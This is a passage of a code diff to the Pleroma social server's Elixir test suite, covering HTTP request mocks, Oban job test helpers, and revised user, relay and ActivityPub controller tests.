|> Map.merge(attrs[:data_attrs] || %{})
%Pleroma.Activity{
data: data

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Tests.Helpers do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule HttpRequestMock do
@ -17,9 +17,12 @@ defmodule HttpRequestMock do
with {:ok, res} <- apply(__MODULE__, method, [url, query, body, headers]) do
res
else
{_, _r} = error ->
# Logger.warn(r)
error
error ->
with {:error, message} <- error do
Logger.warn(message)
end
{_, _r} = error
end
end
@ -772,6 +775,11 @@ defmodule HttpRequestMock do
{:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/lambadalambda.json")}}
end
def get("https://apfed.club/channel/indio", _, _, _) do
{:ok,
%Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/osada-user-indio.json")}}
end
def get("https://social.heldscal.la/user/23211", _, _, Accept: "application/activity+json") do
{:ok, Tesla.Mock.json(%{"id" => "https://social.heldscal.la/user/23211"}, status: 200)}
end
@ -968,9 +976,41 @@ defmodule HttpRequestMock do
}}
end
def get("http://example.com/rel_me/anchor", _, _, _) do
{:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/rel_me_anchor.html")}}
end
def get("http://example.com/rel_me/anchor_nofollow", _, _, _) do
{:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/rel_me_anchor_nofollow.html")}}
end
def get("http://example.com/rel_me/link", _, _, _) do
{:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/rel_me_link.html")}}
end
def get("http://example.com/rel_me/null", _, _, _) do
{:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/rel_me_null.html")}}
end
def get("https://skippers-bin.com/notes/7x9tmrp97i", _, _, _) do
{:ok,
%Tesla.Env{
status: 200,
body: File.read!("test/fixtures/tesla_mock/misskey_poll_no_end_date.json")
}}
end
def get("https://skippers-bin.com/users/7v1w1r8ce6", _, _, _) do
{:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/sjw.json")}}
end
def get("https://patch.cx/users/rin", _, _, _) do
{:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/rin.json")}}
end
def get(url, query, body, headers) do
{:error,
"Not implemented the mock response for get #{inspect(url)}, #{query}, #{inspect(body)}, #{
"Mock response not implemented for GET #{inspect(url)}, #{query}, #{inspect(body)}, #{
inspect(headers)
}"}
end
@ -1032,7 +1072,10 @@ defmodule HttpRequestMock do
}}
end
def post(url, _query, _body, _headers) do
{:error, "Not implemented the mock response for post #{inspect(url)}"}
def post(url, query, body, headers) do
{:error,
"Mock response not implemented for POST #{inspect(url)}, #{query}, #{inspect(body)}, #{
inspect(headers)
}"}
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule MRFModuleMock do

View file

@ -0,0 +1,42 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Tests.ObanHelpers do
@moduledoc """
Oban test helpers.
"""
alias Pleroma.Repo
def perform_all do
Oban.Job
|> Repo.all()
|> perform()
end
def perform(%Oban.Job{} = job) do
res = apply(String.to_existing_atom("Elixir." <> job.worker), :perform, [job.args, job])
Repo.delete(job)
res
end
def perform(jobs) when is_list(jobs) do
for job <- jobs, do: perform(job)
end
def member?(%{} = job_args, jobs) when is_list(jobs) do
Enum.any?(jobs, fn job ->
member?(job_args, job.args)
end)
end
def member?(%{} = test_attrs, %{} = attrs) do
Enum.all?(
test_attrs,
fn {k, _v} -> member?(test_attrs[k], attrs[k]) end
)
end
def member?(x, y), do: x == y
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.WebPushHttpClientMock do

View file

@ -77,12 +77,10 @@ defmodule Mix.Tasks.Pleroma.DatabaseTest do
assert length(following) == 2
assert info.follower_count == 0
info_cng = Ecto.Changeset.change(info, %{follower_count: 3})
{:ok, user} =
user
|> Ecto.Changeset.change(%{following: following ++ following})
|> Ecto.Changeset.put_embed(:info, info_cng)
|> User.change_info(&Ecto.Changeset.change(&1, %{follower_count: 3}))
|> Repo.update()
assert length(user.following) == 4

View file

@ -4,6 +4,7 @@ defmodule Mix.Tasks.Pleroma.DigestTest do
import Pleroma.Factory
import Swoosh.TestAssertions
alias Pleroma.Tests.ObanHelpers
alias Pleroma.Web.CommonAPI
setup_all do
@ -39,6 +40,8 @@ defmodule Mix.Tasks.Pleroma.DigestTest do
:ok = Mix.Tasks.Pleroma.Digest.run(["test", user2.nickname, yesterday_date])
ObanHelpers.perform_all()
assert_receive {:mix_shell, :info, [message]}
assert message =~ "Digest email have been sent"

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-onl
defmodule Mix.Tasks.Pleroma.Ecto.MigrateTest do

View file

@ -7,7 +7,16 @@ defmodule Pleroma.InstanceTest do
setup do
File.mkdir_p!(tmp_path())
on_exit(fn -> File.rm_rf(tmp_path()) end)
on_exit(fn ->
File.rm_rf(tmp_path())
static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/")
if File.exists?(static_dir) do
File.rm_rf(Path.join(static_dir, "robots.txt"))
end
end)
:ok
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.RelayTest do
@ -50,7 +50,8 @@ defmodule Mix.Tasks.Pleroma.RelayTest do
%User{ap_id: follower_id} = local_user = Relay.get_actor()
target_user = User.get_cached_by_ap_id(target_instance)
follow_activity = Utils.fetch_latest_follow(local_user, target_user)
User.follow(local_user, target_user)
assert "#{target_instance}/followers" in refresh_record(local_user).following
Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance])
cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"])
@ -67,6 +68,7 @@ defmodule Mix.Tasks.Pleroma.RelayTest do
assert undo_activity.data["type"] == "Undo"
assert undo_activity.data["actor"] == local_user.ap_id
assert undo_activity.data["object"] == cancelled_activity.data
refute "#{target_instance}/followers" in refresh_record(local_user).following
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.UserTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
os_exclude = if :os.type() == {:unix, :darwin}, do: [skip_on_mac: true], else: []
@ -7,3 +7,8 @@ ExUnit.start(exclude: os_exclude)
Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, :manual)
Mox.defmock(Pleroma.ReverseProxy.ClientMock, for: Pleroma.ReverseProxy.Client)
{:ok, _} = Application.ensure_all_started(:ex_machina)
ExUnit.after_suite(fn _results ->
uploads = Pleroma.Config.get([Pleroma.Uploaders.Local, :uploads], "test/uploads")
File.rm_rf!(uploads)
end)

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.UploadTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.UserSearchTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.UserTest do
@ -7,14 +7,16 @@ defmodule Pleroma.UserTest do
alias Pleroma.Builders.UserBuilder
alias Pleroma.Object
alias Pleroma.Repo
alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.CommonAPI
use Pleroma.DataCase
use Oban.Testing, repo: Pleroma.Repo
import Pleroma.Factory
import Mock
import Pleroma.Factory
setup_all do
Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
@ -69,11 +71,11 @@ defmodule Pleroma.UserTest do
locked = insert(:user, %{info: %{locked: true}})
follower = insert(:user)
Pleroma.Web.TwitterAPI.TwitterAPI.follow(follower, %{"user_id" => unlocked.id})
Pleroma.Web.TwitterAPI.TwitterAPI.follow(follower, %{"user_id" => locked.id})
CommonAPI.follow(follower, unlocked)
CommonAPI.follow(follower, locked)
assert {:ok, []} = User.get_follow_requests(unlocked)
assert {:ok, [activity]} = User.get_follow_requests(locked)
assert [] = User.get_follow_requests(unlocked)
assert [activity] = User.get_follow_requests(locked)
assert activity
end
@ -83,12 +85,12 @@ defmodule Pleroma.UserTest do
pending_follower = insert(:user)
accepted_follower = insert(:user)
Pleroma.Web.TwitterAPI.TwitterAPI.follow(pending_follower, %{"user_id" => locked.id})
Pleroma.Web.TwitterAPI.TwitterAPI.follow(pending_follower, %{"user_id" => locked.id})
Pleroma.Web.TwitterAPI.TwitterAPI.follow(accepted_follower, %{"user_id" => locked.id})
CommonAPI.follow(pending_follower, locked)
CommonAPI.follow(pending_follower, locked)
CommonAPI.follow(accepted_follower, locked)
User.follow(accepted_follower, locked)
assert {:ok, [activity]} = User.get_follow_requests(locked)
assert [activity] = User.get_follow_requests(locked)
assert activity
end
@ -97,10 +99,10 @@ defmodule Pleroma.UserTest do
follower = insert(:user)
CommonAPI.follow(follower, followed)
assert {:ok, [_activity]} = User.get_follow_requests(followed)
assert [_activity] = User.get_follow_requests(followed)
{:ok, _follower} = User.block(followed, follower)
assert {:ok, []} = User.get_follow_requests(followed)
assert [] = User.get_follow_requests(followed)
end
test "follow_all follows mutliple users" do
@ -558,7 +560,7 @@ defmodule Pleroma.UserTest do
test "it enforces the fqn format for nicknames" do
cs = User.remote_user_creation(%{@valid_remote | nickname: "bla"})
assert cs.changes.local == false
assert Ecto.Changeset.get_field(cs, :local) == false
assert cs.changes.avatar
refute cs.valid?
end
@ -570,22 +572,6 @@ defmodule Pleroma.UserTest do
refute cs.valid?
end)
end
test "it restricts some sizes" do
bio_limit = Pleroma.Config.get([:instance, :user_bio_length], 5000)
name_limit = Pleroma.Config.get([:instance, :user_name_length], 100)
[bio: bio_limit, name: name_limit]
|> Enum.each(fn {field, size} ->
string = String.pad_leading(".", size)
cs = User.remote_user_creation(Map.put(@valid_remote, field, string))
assert cs.valid?
string = String.pad_leading(".", size + 1)
cs = User.remote_user_creation(Map.put(@valid_remote, field, string))
refute cs.valid?
end)
end
end
describe "followers and friends" do
@ -598,7 +584,7 @@ defmodule Pleroma.UserTest do
{:ok, follower_one} = User.follow(follower_one, user)
{:ok, follower_two} = User.follow(follower_two, user)
{:ok, res} = User.get_followers(user)
res = User.get_followers(user)
assert Enum.member?(res, follower_one)
assert Enum.member?(res, follower_two)
@ -614,7 +600,7 @@ defmodule Pleroma.UserTest do
{:ok, user} = User.follow(user, followed_one)
{:ok, user} = User.follow(user, followed_two)
{:ok, res} = User.get_friends(user)
res = User.get_friends(user)
followed_one = User.get_cached_by_ap_id(followed_one.ap_id)
followed_two = User.get_cached_by_ap_id(followed_two.ap_id)
@ -725,7 +711,9 @@ defmodule Pleroma.UserTest do
user3.nickname
]
result = User.follow_import(user1, identifiers)
{:ok, job} = User.follow_import(user1, identifiers)
result = ObanHelpers.perform(job)
assert is_list(result)
assert result == [user2, user3]
end
@ -936,7 +924,9 @@ defmodule Pleroma.UserTest do
user3.nickname
]
result = User.blocks_import(user1, identifiers)
{:ok, job} = User.blocks_import(user1, identifiers)
result = ObanHelpers.perform(job)
assert is_list(result)
assert result == [user2, user3]
end
@ -985,7 +975,7 @@ defmodule Pleroma.UserTest do
info = User.get_cached_user_info(user2)
assert info.follower_count == 0
assert {:ok, []} = User.get_followers(user2)
assert [] = User.get_followers(user2)
end
test "hide a user from friends" do
@ -1001,7 +991,7 @@ defmodule Pleroma.UserTest do
assert info.following_count == 0
assert User.following_count(user2) == 0
assert {:ok, []} = User.get_friends(user2)
assert [] = User.get_friends(user2)
end
test "hide a user's statuses from timelines and notifications" do
@ -1044,7 +1034,7 @@ defmodule Pleroma.UserTest do
test ".delete_user_activities deletes all create activities", %{user: user} do
{:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"})
{:ok, _} = User.delete_user_activities(user)
User.delete_user_activities(user)
# TODO: Remove favorites, repeats, delete activities.
refute Activity.get_by_id(activity.id)
@ -1053,7 +1043,9 @@ defmodule Pleroma.UserTest do
test "it deletes deactivated user" do
{:ok, user} = insert(:user, info: %{deactivated: true}) |> User.set_cache()
assert {:ok, _} = User.delete(user)
{:ok, job} = User.delete(user)
{:ok, _user} = ObanHelpers.perform(job)
refute User.get_by_id(user.id)
end
@ -1071,7 +1063,8 @@ defmodule Pleroma.UserTest do
{:ok, like_two, _} = CommonAPI.favorite(activity.id, follower)
{:ok, repeat, _} = CommonAPI.repeat(activity_two.id, user)
{:ok, _} = User.delete(user)
{:ok, job} = User.delete(user)
{:ok, _user} = ObanHelpers.perform(job)
follower = User.get_cached_by_id(follower.id)
@ -1081,7 +1074,7 @@ defmodule Pleroma.UserTest do
user_activities =
user.ap_id
|> Activity.query_by_actor()
|> Activity.Queries.by_actor()
|> Repo.all()
|> Enum.map(fn act -> act.data["type"] end)
@ -1103,12 +1096,18 @@ defmodule Pleroma.UserTest do
{:ok, follower} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin")
{:ok, _} = User.follow(follower, user)
{:ok, _user} = User.delete(user)
{:ok, job} = User.delete(user)
{:ok, _user} = ObanHelpers.perform(job)
assert called(
Pleroma.Web.ActivityPub.Publisher.publish_one(%{
inbox: "http://mastodon.example.org/inbox"
})
assert ObanHelpers.member?(
%{
"op" => "publish_one",
"params" => %{
"inbox" => "http://mastodon.example.org/inbox",
"id" => "pleroma:fakeid"
}
},
all_enqueued(worker: Pleroma.Workers.PublisherWorker)
)
end
end
@ -1117,11 +1116,60 @@ defmodule Pleroma.UserTest do
assert {:ok, _key} = User.get_public_key_for_ap_id("http://mastodon.example.org/users/admin")
end
test "insert or update a user from given data" do
user = insert(:user, %{nickname: "nick@name.de"})
data = %{ap_id: user.ap_id <> "xxx", name: user.name, nickname: user.nickname}
describe "insert or update a user from given data" do
test "with normal data" do
user = insert(:user, %{nickname: "nick@name.de"})
data = %{ap_id: user.ap_id <> "xxx", name: user.name, nickname: user.nickname}
assert {:ok, %User{}} = User.insert_or_update_user(data)
assert {:ok, %User{}} = User.insert_or_update_user(data)
end
test "with overly long fields" do
current_max_length = Pleroma.Config.get([:instance, :account_field_value_length], 255)
user = insert(:user, nickname: "nickname@supergood.domain")
data = %{
ap_id: user.ap_id,
name: user.name,
nickname: user.nickname,
info: %{
fields: [
%{"name" => "myfield", "value" => String.duplicate("h", current_max_length + 1)}
]
}
}
assert {:ok, %User{}} = User.insert_or_update_user(data)
end
test "with an overly long bio" do
current_max_length = Pleroma.Config.get([:instance, :user_bio_length], 5000)
user = insert(:user, nickname: "nickname@supergood.domain")
data = %{
ap_id: user.ap_id,
name: user.name,
nickname: user.nickname,
bio: String.duplicate("h", current_max_length + 1),
info: %{}
}
assert {:ok, %User{}} = User.insert_or_update_user(data)
end
test "with an overly long display name" do
current_max_length = Pleroma.Config.get([:instance, :user_name_length], 100)
user = insert(:user, nickname: "nickname@supergood.domain")
data = %{
ap_id: user.ap_id,
name: String.duplicate("h", current_max_length + 1),
nickname: user.nickname,
info: %{}
}
assert {:ok, %User{}} = User.insert_or_update_user(data)
end
end
describe "per-user rich-text filtering" do
@ -1153,7 +1201,8 @@ defmodule Pleroma.UserTest do
test "User.delete() plugs any possible zombie objects" do
user = insert(:user)
{:ok, _} = User.delete(user)
{:ok, job} = User.delete(user)
{:ok, _} = ObanHelpers.perform(job)
{:ok, cached_user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
@ -1245,26 +1294,26 @@ defmodule Pleroma.UserTest do
bio = "A.k.a. @nick@domain.com"
expected_text =
"A.k.a. <span class='h-card'><a data-user='#{remote_user.id}' class='u-url mention' href='#{
~s(A.k.a. <span class="h-card"><a data-user="#{remote_user.id}" class="u-url mention" href="#{
remote_user.ap_id
}'>@<span>nick@domain.com</span></a></span>"
}" rel="ugc">@<span>nick@domain.com</span></a></span>)
assert expected_text == User.parse_bio(bio, user)
end
test "Adds rel=me on linkbacked urls" do
user = insert(:user, ap_id: "http://social.example.org/users/lain")
user = insert(:user, ap_id: "https://social.example.org/users/lain")
bio = "http://example.org/rel_me/null"
bio = "http://example.com/rel_me/null"
expected_text = "<a href=\"#{bio}\">#{bio}</a>"
assert expected_text == User.parse_bio(bio, user)
bio = "http://example.org/rel_me/link"
expected_text = "<a href=\"#{bio}\">#{bio}</a>"
bio = "http://example.com/rel_me/link"
expected_text = "<a href=\"#{bio}\" rel=\"me\">#{bio}</a>"
assert expected_text == User.parse_bio(bio, user)
bio = "http://example.org/rel_me/anchor"
expected_text = "<a href=\"#{bio}\">#{bio}</a>"
bio = "http://example.com/rel_me/anchor"
expected_text = "<a href=\"#{bio}\" rel=\"me\">#{bio}</a>"
assert expected_text == User.parse_bio(bio, user)
end
end
@ -1279,11 +1328,9 @@ defmodule Pleroma.UserTest do
{:ok, _follower2} = User.follow(follower2, user)
{:ok, _follower3} = User.follow(follower3, user)
{:ok, _} = User.block(user, follower)
{:ok, user} = User.block(user, follower)
user_show = Pleroma.Web.TwitterAPI.UserView.render("show.json", %{user: user})
assert Map.get(user_show, "followers_count") == 2
assert User.user_info(user).follower_count == 2
end
describe "list_inactive_users_query/1" do
@ -1327,7 +1374,7 @@ defmodule Pleroma.UserTest do
to = Enum.random(users -- [user])
{:ok, _} =
Pleroma.Web.TwitterAPI.TwitterAPI.create_status(user, %{
CommonAPI.post(user, %{
"status" => "hey @#{to.nickname}"
})
end)
@ -1359,12 +1406,12 @@ defmodule Pleroma.UserTest do
Enum.each(recipients, fn to ->
{:ok, _} =
Pleroma.Web.TwitterAPI.TwitterAPI.create_status(sender, %{
CommonAPI.post(sender, %{
"status" => "hey @#{to.nickname}"
})
{:ok, _} =
Pleroma.Web.TwitterAPI.TwitterAPI.create_status(sender, %{
CommonAPI.post(sender, %{
"status" => "hey again @#{to.nickname}"
})
end)
@ -1616,4 +1663,66 @@ defmodule Pleroma.UserTest do
assert User.user_info(other_user).following_count == 152
end
end
describe "change_email/2" do
setup do
[user: insert(:user)]
end
test "blank email returns error", %{user: user} do
assert {:error, %{errors: [email: {"can't be blank", _}]}} = User.change_email(user, "")
assert {:error, %{errors: [email: {"can't be blank", _}]}} = User.change_email(user, nil)
end
test "non unique email returns error", %{user: user} do
%{email: email} = insert(:user)
assert {:error, %{errors: [email: {"has already been taken", _}]}} =
User.change_email(user, email)
end
test "invalid email returns error", %{user: user} do
assert {:error, %{errors: [email: {"has invalid format", _}]}} =
User.change_email(user, "cofe")
end
test "changes email", %{user: user} do
assert {:ok, %User{email: "cofe@cofe.party"}} = User.change_email(user, "cofe@cofe.party")
end
end
describe "set_password_reset_pending/2" do
setup do
[user: insert(:user)]
end
test "sets password_reset_pending to true", %{user: user} do
%{password_reset_pending: password_reset_pending} = user.info
refute password_reset_pending
{:ok, %{info: %{password_reset_pending: password_reset_pending}}} =
User.force_password_reset(user)
assert password_reset_pending
end
end
test "change_info/2" do
user = insert(:user)
assert user.info.hide_follows == false
changeset = User.change_info(user, &User.Info.profile_update(&1, %{hide_follows: true}))
assert changeset.changes.info.changes.hide_follows == true
end
test "update_info/2" do
user = insert(:user)
assert user.info.hide_follows == false
assert {:ok, _} = User.update_info(user, &User.Info.profile_update(&1, %{hide_follows: true}))
assert %{info: %{hide_follows: true}} = Repo.get(User, user.id)
assert {:ok, %{info: %{hide_follows: true}}} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
end
end

View file

@ -1,18 +1,24 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
use Pleroma.Web.ConnCase
use Oban.Testing, repo: Pleroma.Repo
import Pleroma.Factory
alias Pleroma.Activity
alias Pleroma.Delivery
alias Pleroma.Instances
alias Pleroma.Object
alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ObjectView
alias Pleroma.Web.ActivityPub.Relay
alias Pleroma.Web.ActivityPub.UserView
alias Pleroma.Web.ActivityPub.Utils
alias Pleroma.Web.CommonAPI
alias Pleroma.Workers.ReceiverWorker
setup_all do
Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
@ -174,6 +180,49 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
assert json_response(conn, 404)
end
test "it caches a response", %{conn: conn} do
note = insert(:note)
uuid = String.split(note.data["id"], "/") |> List.last()
conn1 =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/objects/#{uuid}")
assert json_response(conn1, :ok)
assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"}))
conn2 =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/objects/#{uuid}")
assert json_response(conn1, :ok) == json_response(conn2, :ok)
assert Enum.any?(conn2.resp_headers, &(&1 == {"x-cache", "HIT from Pleroma"}))
end
test "cached purged after object deletion", %{conn: conn} do
note = insert(:note)
uuid = String.split(note.data["id"], "/") |> List.last()
conn1 =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/objects/#{uuid}")
assert json_response(conn1, :ok)
assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"}))
Object.delete(note)
conn2 =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/objects/#{uuid}")
assert "Not found" == json_response(conn2, :not_found)
end
end
describe "/object/:uuid/likes" do
@ -263,6 +312,51 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
assert json_response(conn, 404)
end
test "it caches a response", %{conn: conn} do
activity = insert(:note_activity)
uuid = String.split(activity.data["id"], "/") |> List.last()
conn1 =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/activities/#{uuid}")
assert json_response(conn1, :ok)
assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"}))
conn2 =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/activities/#{uuid}")
assert json_response(conn1, :ok) == json_response(conn2, :ok)
assert Enum.any?(conn2.resp_headers, &(&1 == {"x-cache", "HIT from Pleroma"}))
end
test "cached purged after activity deletion", %{conn: conn} do
user = insert(:user)
{:ok, activity} = CommonAPI.post(user, %{"status" => "cofe"})
uuid = String.split(activity.data["id"], "/") |> List.last()
conn1 =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/activities/#{uuid}")
assert json_response(conn1, :ok)
assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"}))
Activity.delete_by_ap_id(activity.object.data["id"])
conn2 =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/activities/#{uuid}")
assert "Not found" == json_response(conn2, :not_found)
end
end
describe "/inbox" do
@ -276,7 +370,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/inbox", data)
assert "ok" == json_response(conn, 200)
:timer.sleep(500)
ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
assert Activity.get_by_ap_id(data["id"])
end
@ -318,7 +413,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/users/#{user.nickname}/inbox", data)
assert "ok" == json_response(conn, 200)
:timer.sleep(500)
ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
assert Activity.get_by_ap_id(data["id"])
end
@ -347,7 +442,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/users/#{recipient.nickname}/inbox", data)
assert "ok" == json_response(conn, 200)
:timer.sleep(500)
ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
assert Activity.get_by_ap_id(data["id"])
end
@ -364,6 +459,17 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
assert json_response(conn, 403)
end
test "it doesn't crash without an authenticated user", %{conn: conn} do
user = insert(:user)
conn =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/users/#{user.nickname}/inbox")
assert json_response(conn, 403)
end
test "it returns a note activity in a collection", %{conn: conn} do
note_activity = insert(:direct_note_activity)
note_object = Object.normalize(note_activity)
@ -373,7 +479,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn
|> assign(:user, user)
|> put_req_header("accept", "application/activity+json")
|> get("/users/#{user.nickname}/inbox")
|> get("/users/#{user.nickname}/inbox?page=true")
assert response(conn, 200) =~ note_object.data["content"]
end
@ -426,6 +532,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/users/#{recipient.nickname}/inbox", data)
|> json_response(200)
ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
activity = Activity.get_by_ap_id(data["id"])
assert activity.id
@ -459,7 +567,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/users/#{user.nickname}/outbox")
|> get("/users/#{user.nickname}/outbox?page=true")
assert response(conn, 200) =~ note_object.data["content"]
end
@ -471,7 +579,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/users/#{user.nickname}/outbox")
|> get("/users/#{user.nickname}/outbox?page=true")
assert response(conn, 200) =~ announce_activity.data["object"]
end
@ -501,6 +609,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/users/#{user.nickname}/outbox", data)
result = json_response(conn, 201)
assert Activity.get_by_ap_id(result["id"])
end
@ -593,6 +702,34 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
end
end
describe "/relay/followers" do
test "it returns relay followers", %{conn: conn} do
relay_actor = Relay.get_actor()
user = insert(:user)
User.follow(user, relay_actor)
result =
conn
|> assign(:relay, true)
|> get("/relay/followers")
|> json_response(200)
assert result["first"]["orderedItems"] == [user.ap_id]
end
end
describe "/relay/following" do
test "it returns relay following", %{conn: conn} do
result =
conn
|> assign(:relay, true)
|> get("/relay/following")
|> json_response(200)
assert result["first"]["orderedItems"] == []
end
end
describe "/users/:nickname/followers" do
test "it returns the followers in a collection", %{conn: conn} do
user = insert(:user)
@ -757,4 +894,126 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
assert result["totalItems"] == 15
end
end
describe "delivery tracking" do
test "it tracks a signed object fetch", %{conn: conn} do
user = insert(:user, local: false)
activity = insert(:note_activity)
object = Object.normalize(activity)
object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url())
conn
|> put_req_header("accept", "application/activity+json")
|> assign(:user, user)
|> get(object_path)
|> json_response(200)
assert Delivery.get(object.id, user.id)
end
test "it tracks a signed activity fetch", %{conn: conn} do
user = insert(:user, local: false)
activity = insert(:note_activity)
object = Object.normalize(activity)
activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url())
conn
|> put_req_header("accept", "application/activity+json")
|> assign(:user, user)
|> get(activity_path)
|> json_response(200)
assert Delivery.get(object.id, user.id)
end
test "it tracks a signed object fetch when the json is cached", %{conn: conn} do
user = insert(:user, local: false)
other_user = insert(:user, local: false)
activity = insert(:note_activity)
object = Object.normalize(activity)
object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url())
conn
|> put_req_header("accept", "application/activity+json")
|> assign(:user, user)
|> get(object_path)
|> json_response(200)
build_conn()
|> put_req_header("accept", "application/activity+json")
|> assign(:user, other_user)
|> get(object_path)
|> json_response(200)
assert Delivery.get(object.id, user.id)
assert Delivery.get(object.id, other_user.id)
end
test "it tracks a signed activity fetch when the json is cached", %{conn: conn} do
user = insert(:user, local: false)
other_user = insert(:user, local: false)
activity = insert(:note_activity)
object = Object.normalize(activity)
